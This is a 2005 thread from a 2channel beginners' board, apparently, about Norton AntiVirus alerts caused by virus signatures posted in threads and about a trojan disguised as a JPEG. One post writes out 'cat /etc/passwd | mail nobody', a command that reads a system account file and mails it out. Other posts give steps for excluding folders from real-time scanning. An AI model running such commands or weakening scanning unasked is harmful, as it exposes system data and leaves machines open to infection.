  (/ /)  (|  |)
  < ̄<  < ̄<

 ハイ! ハイ! ハイ
  (. `Д)_(Д´ )
  ノ ノヽ |  |>
  ノ >  < ヽ

     ハイ!
  (.   )_(`Д´)ノ
  ノ ノヽ |ヘ |
  ノ >    <

     ハイ!     ワァオ!
  (゜∀゜)_(゜∀゜)ノ
  ノ ノヽ |ヘ |
  ノノ     <

  あるある探検隊!
 _(Д´ )  _(Д´ )
  ヘ|  |\  ヘ|  |\
    <     <

  あるある探検隊!
  ( `Д)_ ( `Д)_
 /|  |ヘ   /|  |ヘ
   >       >

75 :ひよこ名無しさん:2005/04/25(月) 01:12:19 ID:???
ウイルス対策ソフトの検出力調査結果
http://www.geocities.jp/stealrush/security.html

76 :ひよこ名無しさん:2005/04/27(水) 04:32:31 ID:???
http://news18.2ch.net/test/read.cgi/anime/1114540249/
>>17の奴のウイルスってどうやって除外するんですか?本気でむかつきます


77 :ひよこ名無しさん:2005/04/29(金) 17:10:59 ID:EryoL680
>>71
初心者はテンプレ読んでも何を言っているのかが分からなかったりするので
こういう細かい解説、感謝します。
っていうか大空寺死んで欲しい。(´・ω・`)

78 :ひよこ名無しさん:2005/04/29(金) 18:11:53 ID:xmX9upML
>>77
透明あぼーんで存在を消し去りましょう。スッキリするよ

79 :ひよこ名無しさん:2005/04/29(金) 18:38:53 ID:EryoL680
>>78
透明あぼーんではノートンの反応はおさまらなかったんです。
なにやらメール欄に変なものを書き込んでいるようで。

80 :cen ◆Pm9xOTJuM. :2005/04/29(金) 18:42:27 ID:??? ?###
>>79
>>17のを使うと、メール欄のものでも消し去ります。


81 :ひよこ名無しさん:2005/04/29(金) 18:44:17 ID:???
>>79
>>71の手順でノートンの誤反応を解消し、専ブラの透明あぼーんで
糞コテやウイルス厨を見えなくするって意味。
分かりにくくてスマソ

82 :ひよこ名無しさん:2005/04/29(金) 19:58:14 ID:EryoL680
>>80
>>81
いろいろとありがとうございました。
あいつら(大空寺とかネオとか)どうにかならないもんですかね…

83 :ひよこ名無しさん:2005/05/01(日) 13:50:58 ID:beE/OXQq
XPにはNorton AntiVirusインストールできたのに、98にはできない。
98のウイルススキャン(無償)で感染ファイル35ってでたけど
これをどうすればいいの?


84 :ひよこ名無しさん:2005/05/05(木) 01:29:28 ID:???
Live2chでUnixPenguinがうざい場合
(1)タスクトレイに入っているNorton AntiVirusのアイコンを右クリック
(2)「Norton AntiVirusの設定」をクリック
(3)左側にある「Auto-Protect」をクリック
(4)その下に出てきた「除外」をクリック
(5)「除外する項目」の「新規」をクリック
(6)「C:\Program Files\Live2ch\log」と入力し、「サブフォルダも含める」にチェックを入れ、「OK」をクリック
(6)「C:\Program Files\Live2ch\temp.htm」も追加する。
(7)左側にある「Auto-Protect」をクリック
(8)(4)〜(6)をもう一度繰り返す
(9)設定画面が消えるまで「OK」をクリックする


85 :cen ◆Pm9xOTJuM. :2005/05/05(木) 01:48:13 ID:??? ?##
あ、そうそう。
>>17のプログラムを更新しましたです。


86 :ひよこ名無しさん:2005/05/06(金) 13:08:01 ID:???
その他→脅威カテゴリでも「除外」が出てくるけどここは設定しなくていいの?
って、脅威カテゴリで何をしてくれるのかのかよくわからない。(NIS2005)


>>71 >>84
>(7)左側にある「Auto-Protect」をクリック

(7)左側にある「手動スキャン」をクリック ・・・じゃないのかな。

87 :ひよこ名無しさん:2005/05/06(金) 13:10:11 ID:???
大体、「除外」する項目をAuto-Protectと手動スキャンで
分けている理由がわからない。NIS2002の設定は簡単だった。

88 :ひよこ名無しさん:2005/05/08(日) 22:01:59 ID:???
ttp://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8

89 :ひよこ名無しさん:2005/05/11(水) 23:56:43 ID:TkQmWlam
cat /etc/passwd | mail nobody
これが反応するのか?

90 :ひよこ名無しさん:2005/05/12(木) 00:23:51 ID:???
>>89
見事にUnixPenguinと判定してくれた

91 :ひよこ名無しさん:2005/05/13(金) 19:15:33 ID:???
f

92 :ひよこ名無しさん:2005/05/18(水) 02:51:07 ID:iHDhJttO
>>84

Live2chでUnixPenguinがうざい場合

IEでうざい場合はどうすればよろしいのでしょうか?????

93 :ひよこ名無しさん:2005/05/18(水) 02:53:32 ID:???
>>92
IEで2ちゃん見るなよ。

94 :ひよこ名無しさん:2005/05/18(水) 03:04:55 ID:iHDhJttO
>>93

え???
ダメなんですか???

すみません・・・
初心者なもので・・・

詳しく教えていただけませんか・・・

95 :ひよこ名無しさん:2005/05/18(水) 03:09:44 ID:???
>>94
ダメじゃないけど、専用ブラウザのほうがずっと便利。
どこまで読んだかわかるし、ログはずっと残せるし、
新着分だけダウンロードするから速いし、軽いし。

96 :ひよこ名無しさん:2005/05/18(水) 03:13:22 ID:iHDhJttO
>>95

ありがとうございます。
勉強になりました。

今日はウイルスが出てかなりテンパりました(苦笑)
また明日からがんばります!

でしつこいんですが、
IEでうざい場合はどうすればよろしいのでしょうか?


97 :ひよこ名無しさん:2005/05/18(水) 03:17:42 ID:???
>>96
IEの一時フォルダを除外すれば警告は出なくなるが、
ほかのサイトで感染してしまう。

98 :ひよこ名無しさん:2005/05/22(日) 02:22:35 ID:GqakRWGu
勇気が無くて見られない画像解説スレ Part702
http://etc3.2ch.net/test/read.cgi/entrance/1116419123/
すいません、↑のスレッドをLive2chで開いただけで

発生源:C:\Documents and Settings\kousuke\Local Settings
\Temporary Internet Files\Content.IE5\MVAP076F\woid[1].jpg
Trojan Horse
とか出るんですけど、誤反応ですか?
vbsのウィルスコードと大空寺のメール蘭攻撃は
除外しているはずなんですが。
ありえないとは思いますがて開いただけで感染したんですか?
Trojan Horse
ウィルス名:
Trojan Horse
別名:
感染場所:
.EXE ファイル

99 :ひよこ名無しさん:2005/05/22(日) 02:28:48 ID:???
>>98
そのファイルはjpgじゃなくて、exeということらしい。
誤反応ではなくて、本物。
スレを開いただけでは感染しないけど、
その画像ファイルをIEで開くと感染する可能性がある。

100 :98:2005/05/22(日) 02:46:42 ID:GqakRWGu
>>99
おそらく原因のレスは
http://etc3.2ch.net/test/read.cgi/entrance/1116419123/899-
だと思いますが、これ画像そのものはクリックしてないんですが
ただスレッドを開いた瞬間ノートン先生が激しく怒ったス
ログを見ても
アクセスが拒否されました。
修復できませんでした。
としか出てません。
最新のウィルス定義ファイルを落とさないと駆除できないみたいですが、
これは最近のということでしょうか?
そして、今自分のPCにTemporary Internet Filesや
他の場所にウィルスが潜伏してるということはないんでしょうか?それを開くとアウツみたいな。

255 KB [ 2ちゃんねる 3億PV/日をささえる レンタルサーバー \877/2TB/100Mbps]

取りに行ったけどなかった。次は一時間後に取りに行くです。
新着レスの表示

掲示板に戻る 全部 前100 次100 最新50
名前: E-mail (省略可) :


read.cgi ver 05.0.7.3 2008/07/26
FOX ★ DSO(Dynamic Shared Object)